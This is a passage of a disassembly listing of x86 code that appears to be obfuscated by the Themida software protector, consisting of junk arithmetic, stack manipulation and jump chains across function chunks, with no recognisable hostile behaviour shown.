; START OF FUNCTION CHUNK FOR sub_56306E
loc_568A0E: ; CODE XREF: sub_56306E+1552j
pop ebx
sub ecx, 1025252h
sub ecx, eax
jmp loc_565E71
; END OF FUNCTION CHUNK FOR sub_56306E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_568A1C: ; CODE XREF: sub_5653AD+9474j
dec [esp+4+var_4]
pushf
jmp loc_56003E
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_568A25: ; CODE XREF: sub_572DD7-C0FAj
pop eax
jmp loc_5690A3
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_568A2B: ; CODE XREF: sub_563A7F+6j
push esp
pop ecx
add ecx, 4
sub ecx, 4
push ecx
push [esp+0Eh+var_C+2]
pop ecx
pop [esp+0Eh+var_10+2]
pop esp
mov [esp+6+var_8+2], edx
mov dl, 7Bh
sub dl, 8Ch
add dl, 53h
push eax
mov al, 34h
and dl, al
pop eax
push 50DCh
jmp loc_56115A
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_568A5E: ; CODE XREF: sub_5610CE+E2ACj
mov esi, 0CA00DA53h
add esi, ecx
mov ecx, [esp+8+var_8]
add esp, 4
xchg ecx, esi
push ecx
xchg ecx, [esp+8+var_8]
jmp loc_5754AD
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_568A79: ; CODE XREF: sub_563819+4427j
push 3E97h
mov [esp-4+arg_0], ebx
jmp loc_5633A2
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_568A86: ; CODE XREF: sub_575315-12A56j
mov [esp+0], ebp
inc dword ptr [esp+0]
jmp loc_56F2F0
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_568A91: ; CODE XREF: sub_574A21-11924j
mov esi, 1A0F6167h
jmp loc_567F78
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_568A9B: ; CODE XREF: sub_560844+133C1j
push 495Ch
mov [esp+0Ch+var_C], ecx
neg [esp+0Ch+var_C]
pop ecx
jmp loc_564D9D
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D31
loc_568AAC: ; CODE XREF: sub_560D31+76E6j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_560D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57377E
loc_568AB1: ; CODE XREF: sub_57377E-10200j
mov edx, 3634797h
sub ebp, edx
mov edx, [esp+4+var_4]
add esp, 4
pop esi
and [edi+1Ch], ebp
mov ebp, [esp-4+arg_0]
add esp, 4
jmp loc_56F5B2
; END OF FUNCTION CHUNK FOR sub_57377E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_568ACD: ; CODE XREF: sub_569A84+9C3Ej
mov ebx, esp
push 9FAh
jmp loc_570F25
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_568AD9: ; CODE XREF: sub_566C83+4782j
push 2D3C3F28h
pop eax
and eax, 6E86C61h
add eax, 0C052AFAh
mov esi, eax
jmp loc_56211C
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566078
loc_568AF0: ; CODE XREF: sub_566078+2799j
add esp, 4
jmp loc_567310
; END OF FUNCTION CHUNK FOR sub_566078
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_568AF8: ; CODE XREF: sub_56AEF2+38EEj
add ah, 56h
shr ah, 2
xor ah, 5Ch
jmp loc_56CE5C
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_568B06: ; CODE XREF: sub_5620B7+E27Fj
push ecx
mov ch, dl
mov al, ch
jmp loc_572391
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_568B10: ; CODE XREF: sub_567D31+9BB0j
or esi, 2C8449C6h
xor esi, 8785DE6Fh
add ebx, esi
pop esi
push ebx
jmp loc_573252
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_568B25: ; CODE XREF: sub_574896-1A9Bj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_568B2A: ; CODE XREF: sub_564D26+3A78j
pop esp
push edi
not [esp+20h+var_20]
pop edi
jmp loc_56A248
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_568B35: ; CODE XREF: sub_569AB3+6j
shl ebp, 7
xor ebp, 1AD92B5Fh
sub ebp, 0C6C88632h
mov ecx, ebp
jmp loc_56B708
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_568B4B: ; CODE XREF: sub_574304-2ED2j
mov esi, 1
jmp sub_570FB7
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56858D
loc_568B55: ; CODE XREF: sub_56858D+2269j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56858D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_568B5A: ; CODE XREF: sub_5687A3+ABC7j
mov [esp+8+var_8], ebx
mov ebx, 61C90BCCh
push 3E07549Bh
push [esp+0Ch+var_C]
pop ecx
jmp loc_56E840
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
loc_568B70: ; CODE XREF: Themida_:00561FEBj
sub [esp], al
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_568B79: ; CODE XREF: sub_561418+D26Ej
add esp, 4
sub ecx, 332B3CCAh
jmp loc_56FD47
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_568B87: ; CODE XREF: sub_5747FA-140D1j
pop ebx
xor edi, 0E809B0E5h
jmp loc_5603F3
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_568B93: ; CODE XREF: sub_574AF3-1EF2j
push 4AA3h
mov [esp+8+var_8], edi
mov edi, 4
sub ecx, 0C0C52B4h
add ecx, edi
add ecx, 0C0C52B4h
pop edi
push 65D6h
mov [esp+8+var_8], ecx
push [esp+8+var_4]
pop ecx
jmp loc_56AF63
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564B5A
loc_568BC1: ; CODE XREF: sub_564B5A+6j
mov [esp+4+var_4], eax
jmp sub_56B310
; END OF FUNCTION CHUNK FOR sub_564B5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_568BC9: ; CODE XREF: sub_56AEF2+6ADEj
add bl, 64h
push eax
mov al, 50h
jmp loc_570C54
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57236D
loc_568BD4: ; CODE XREF: sub_57236D-BC86j
mov esp, [esp+0]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_57236D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_568BDC: ; CODE XREF: sub_571890-691Fj
sub eax, ecx
pop ecx
add eax, ebx
add eax, 75C1EE1h
pop ebx
add eax, 2
xchg eax, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
mov ax, [esp-10h+arg_C]
push ecx
mov ecx, esp
push ebp
push ebx
mov ebx, 3FE567DDh
mov ebp, 4F97968Ch
sub ebp, ebx
mov ebx, [esp-4+arg_0]
add esp, 4
push eax
mov eax, 0F04DD155h
push esi
jmp loc_568466
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_568C19: ; CODE XREF: sub_574656-C25j
shl edi, 4
sub edi, 0C2EFC0C8h
sub ebx, edi
pop edi
mov edi, ebx
mov ebx, [esp+8+var_8]
jmp loc_567812
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D31
loc_568C2F: ; CODE XREF: sub_560D31+FDDBj
add ebp, 2
xchg ebp, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
push ebx
push 754Dh
mov [esp+4+var_4], ecx
mov ch, dl
push edx
mov dl, ch
mov bl, dl
pop edx
mov ecx, [esp+4+var_4]
add esp, 4
push 3A70h
mov [esp+4+var_4], edx
sub esp, 4
mov [esp+0], eax
jmp loc_56392A
; END OF FUNCTION CHUNK FOR sub_560D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_568C62: ; CODE XREF: sub_561541+E5B7j
mov esi, 23C84081h
and ecx, esi
pop esi
or ecx, 62E30F57h
jmp loc_56DBEF
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_568C75: ; CODE XREF: sub_5620B7-125Ej
push 6723h
mov [esp+14h+var_14], esi
jmp loc_56E434
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC7
loc_568C82: ; CODE XREF: sub_566DC7-880j
push esp
jmp loc_569FD6
; END OF FUNCTION CHUNK FOR sub_566DC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_568C88: ; CODE XREF: sub_5648C6+D943j
push ecx
jmp loc_56D07A
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_568C8E: ; CODE XREF: sub_57146D-C920j
inc ah
sub ah, 0B9h
mov bl, ah
pop eax
push 7B78h
mov [esp+0Ch+var_C], eax
mov al, bl
push ecx
mov cl, al
mov dl, cl
mov ecx, [esp+10h+var_10]
add esp, 4
jmp loc_565B5B
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_568CB3: ; CODE XREF: sub_574A21-12CF3j
push 0FD8h
mov [esp+4+var_4], ebp
mov ebp, 6DCF4C98h
jmp loc_56ED61
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_568CC5: ; CODE XREF: sub_56FB8A-3F2Ej
neg edi
sub edi, 32291B54h
jmp loc_571B81
; END OF FUNCTION CHUNK FOR sub_56FB8A
; =============== S U B R O U T I N E =======================================
sub_568CD2 proc near ; CODE XREF: sub_57549C-1ACCj
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00561618 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561CCE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566DCD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005671DB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005676A5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571660 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572054 SIZE 00000011 BYTES
push ebx
mov ebx, 52561B11h
sub ecx, 1E273D8h
add ecx, ebx
add ecx, 1E273D8h
jmp loc_5671DB
sub_568CD2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB93
loc_568CEB: ; CODE XREF: sub_56AB93+9B49j
mov ecx, 4
sub esi, 54AD5B3Eh
add esi, ecx
add esi, 54AD5B3Eh
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_562D7E
; END OF FUNCTION CHUNK FOR sub_56AB93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_568D09: ; CODE XREF: sub_570E81+391Fj
add ebp, edx
pop edx
jmp loc_56CCA3
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_568D11: ; CODE XREF: sub_56E126-4CF3j
shl ecx, 3
push eax
mov eax, 588A7D06h
sub eax, 32164899h
add ecx, eax
jmp loc_563881
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
loc_568D26: ; CODE XREF: Themida_:005675EAj
add esp, 4
jmp loc_56114E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C48D
loc_568D31: ; CODE XREF: sub_56C48D+45j
pop ecx
push esi
jmp sub_568E5C
; END OF FUNCTION CHUNK FOR sub_56C48D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564EBE
loc_568D38: ; CODE XREF: sub_564EBE+3j
mov [esp+4+var_4], edi
mov edi, esp
jmp loc_56275E
; END OF FUNCTION CHUNK FOR sub_564EBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_568D42: ; CODE XREF: sub_570732-7EDEj
mov edx, eax
mov eax, [esp+4+var_4]
jmp loc_561D7F
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_568D4C: ; CODE XREF: sub_572075-8700j
sub esi, 3F360BC1h
add esi, ecx
add esi, 3F360BC1h
pop ecx
add ecx, esi
pop esi
push ebp
mov ebp, 4
jmp loc_56C677
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_568D69: ; CODE XREF: sub_571289-450Cj
neg eax
not eax
shl eax, 8
xor eax, 1971CC33h
jmp loc_561D95
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C12
loc_568D7A: ; CODE XREF: sub_560C12+3A62j
pop edi
add esp, 4
push 77DAh
mov [esp+0], ebx
mov ebx, 4
jmp loc_561281
; END OF FUNCTION CHUNK FOR sub_560C12
; =============== S U B R O U T I N E =======================================
sub_568D93 proc near ; CODE XREF: sub_5680F2+2F30j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056303E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00564BF8 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056D2E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F076 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572944 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573132 SIZE 00000009 BYTES
push ebp
mov ebp, 122D0C75h
jmp loc_56D2E5
sub_568D93 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_568D9E proc near ; CODE XREF: sub_565CB7+6j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00564AE1 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056A5CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A8C2 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056C589 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005707DC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005716A6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573D6E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057475F SIZE 00000015 BYTES
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_573D6E
sub_568D9E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_568DB2: ; CODE XREF: sub_572141-9E40j
add esp, 4
jmp loc_572100
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_568DBD: ; CODE XREF: sub_56AEF2+620j
push esp
pop eax
add eax, 4
push 4CF2h
mov [esp-0Ch+arg_8], ecx
push esi
mov esi, 181A1B95h
jmp loc_5645E7
; END OF FUNCTION CHUNK FOR sub_56AEF2
; =============== S U B R O U T I N E =======================================
sub_568DD7 proc near ; CODE XREF: sub_566117+CD5Dj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00564DAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00572323 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572448 SIZE 00000012 BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 1C6520A1h
xor edx, 0ACB1067h
neg edx
dec edx
xor edx, 768C568Ah
not edx
xor edx, 19447644h
sub esi, 190B5770h
sub esi, edx
add esi, 190B5770h
pop edx
add ebp, esi
jmp loc_572323
sub_568DD7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_568E12: ; CODE XREF: sub_57549C-236Fj
pop ebp
jmp loc_57168C
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_568E18: ; CODE XREF: sub_563A7F+DCCEj
xor cl, 28h
shr cl, 1
push ebx
jmp loc_56CFA7
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_568E23: ; CODE XREF: sub_563819+E54Dj
sub edi, ebx
pop ebx
sub esi, edi
jmp loc_5734FB
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_568E2D: ; CODE XREF: sub_561418+5F0Ej
mov edi, 0A045CE5Dh
jmp loc_574477
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_568E37: ; CODE XREF: sub_574F16-709Cj
mov esp, [esp+6+var_6]
jmp loc_56C618
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726FB
loc_568E3F: ; CODE XREF: sub_5726FB-FF5Fj
add esp, 4
and [edi+1Ch], ecx
jmp loc_5607AA
; END OF FUNCTION CHUNK FOR sub_5726FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_568E4D: ; CODE XREF: sub_56B06D-1B34j
mov [esp+18h+var_18], edi
add [esp+18h+var_18], 31D436B5h
jmp loc_56F629
; END OF FUNCTION CHUNK FOR sub_56B06D
; =============== S U B R O U T I N E =======================================
sub_568E5C proc near ; CODE XREF: sub_56C48D-375Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056043C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560BA0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00561720 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005622B9 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005624FE SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005632A5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564556 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005646B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564894 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564D7A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00565774 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565D4E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00566D54 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00566E19 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005679F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005688CF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A9BD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B5E0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C127 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D50D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D9CA SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056E02C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056F187 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F982 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005706B5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005707C4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005714E0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571C49 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00571D43 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0057352C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005738AC SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00574D22 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00574E3E SIZE 00000008 BYTES
sub esp, 4
jmp loc_571C49
sub_568E5C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_568E67: ; CODE XREF: sub_56E96D+2335j
add esp, 4
add ebx, 6A0137EEh
xor ebx, 3D095B93h
push ecx
mov ecx, 1F983012h
sub ecx, 3804464Dh
shr ecx, 7
and ecx, 2A407362h
sub ecx, 0E7E22144h
add ebx, ecx
pop ecx
jmp loc_5688D9
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B37
loc_568E99: ; CODE XREF: sub_566B37+C1E0j
pop esp
neg ebp
xchg eax, ebp
push 0F71h
jmp loc_560385
; END OF FUNCTION CHUNK FOR sub_566B37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_568EA7: ; CODE XREF: sub_56B11B+323Aj
xchg ecx, [esp+4+var_4]
pop esp
mov [esp+0], edi
mov edi, esp
add edi, 4
jmp loc_563012
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573876
loc_568EBB: ; CODE XREF: sub_573876-EB6Aj
add esp, 4
sub [esp+arg_4], ebx
pop ebx
pop eax
pop dword ptr [edi+40h]
push ecx
mov ecx, 288E1D9Fh
jmp loc_56463B
; END OF FUNCTION CHUNK FOR sub_573876
; ---------------------------------------------------------------------------
loc_568ED5: ; CODE XREF: Themida_:00569179j
mov ebx, esp
push eax
mov eax, 42483232h
add eax, 207B4005h
dec eax
neg eax
xor eax, 23F25896h
sub eax, 0BECED558h
jmp loc_570A55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_568EF4: ; CODE XREF: sub_56F1DB-C410j
dec ebp
add ebp, 0FFFFFFFFh
shr ebp, 3
jmp loc_56FE40
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_568F03: ; CODE XREF: sub_571C0A-B01Dj
mov edi, esp
add edi, 4
jmp loc_56888C
; END OF FUNCTION CHUNK FOR sub_571C0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_568F10: ; CODE XREF: sub_56FCD7+40B4j
xchg ecx, [esp+10h+var_10]
pop esp
mov [esp+0Ch+var_C], edi
mov edi, 4
jmp loc_5676AD
; END OF FUNCTION CHUNK FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566078
loc_568F21: ; CODE XREF: sub_566078+129Bj
add ecx, 4
add ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+4+var_4]
pop esp
mov [esp+0], ebx
jmp sub_5747D7
; END OF FUNCTION CHUNK FOR sub_566078
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_568F46: ; CODE XREF: sub_56B06D+7D32j
push esi
mov esi, 7FD92608h
sub [esp+1Ch+var_14], esi
mov esi, [esp+1Ch+var_1C]
push ebp
jmp loc_57114E
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573167
loc_568F59: ; CODE XREF: sub_573167-DE0Bj
pop ebx
pop [esp+4+var_4]
mov esp, [esp+0]
imul ecx, eax
push ecx
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_573167
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_568F6A: ; CODE XREF: sub_56C38F+3417j
sub eax, 2D15B7h
push edx
push ebx
mov ebx, 505D6179h
jmp sub_5643EB
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_568F7B: ; CODE XREF: sub_56351E+210j
shr edi, 4
jmp sub_566DFE
; END OF FUNCTION CHUNK FOR sub_56351E
; =============== S U B R O U T I N E =======================================
sub_568F83 proc near ; CODE XREF: sub_568D93+62E8j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00562DBB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BD9E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056DA73 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005737A2 SIZE 00000017 BYTES
push ebx
mov ebx, 706B7832h
and ebx, 371E1545h
shl ebx, 2
jmp loc_56BD9E
sub_568F83 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_568F97: ; CODE XREF: Themida_:005644CBj
mov [esp], eax
push 3C0Ah
mov [esp], esp
jmp loc_5609DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_568FA7: ; CODE XREF: sub_5747D7-42ACj
pop edx
xor ebx, [esp+0]
jmp loc_56E8F5
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_568FB0: ; CODE XREF: sub_574304-EDCFj
mov esp, [esp+0]
push 5EDAh
mov [esp+0], edi
push 7A050C04h
pop edi
push 1D13h
mov [esp+4+var_4], ecx
push esi
push 701C57B7h
pop esi
push edx
push ebp
jmp loc_574E2A
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_568FD7: ; CODE XREF: sub_565632+B34Cj
add edi, ecx
jmp loc_56A99B
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_568FDE: ; CODE XREF: sub_5734A7-CD34j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+1Ch+var_1C]
mov esp, [esp+1Ch+var_1C]
pop [esp+4+var_4]
mov esp, [esp+0]
jmp sub_56AE4B
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_568FFA: ; CODE XREF: sub_56657A-566Bj
mov esp, [esp-4+arg_0]
mov word ptr [esp-4+arg_0], cx
jmp loc_5752BB
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_569006: ; CODE XREF: sub_571F6F-1F2Aj
sub bl, ah
mov eax, [esp+0Eh+var_E]
jmp loc_566C11
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_569010: ; CODE XREF: sub_561418+DA31j
add ecx, 440D019Ch
jmp loc_56DC40
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573167
loc_56901B: ; CODE XREF: sub_573167-DE79j
push esi
sub esp, 4
jmp loc_565DA0
; END OF FUNCTION CHUNK FOR sub_573167
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5692D3
loc_569024: ; CODE XREF: sub_5692D3+9283j
add esp, 4
sub esp, 4
mov [esp+8+var_8], edi
push ecx
push edx
mov edx, 2B022D24h
push eax
mov eax, 1DA85C1Dh
add eax, 0FCB11A8Dh
or edx, eax
pop eax
xor edx, 2B2F1154h
mov ecx, edx
jmp loc_567F36
; END OF FUNCTION CHUNK FOR sub_5692D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_569055: ; CODE XREF: sub_574949+15j
xor dh, 78h
sub ch, dh
jmp loc_570024
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
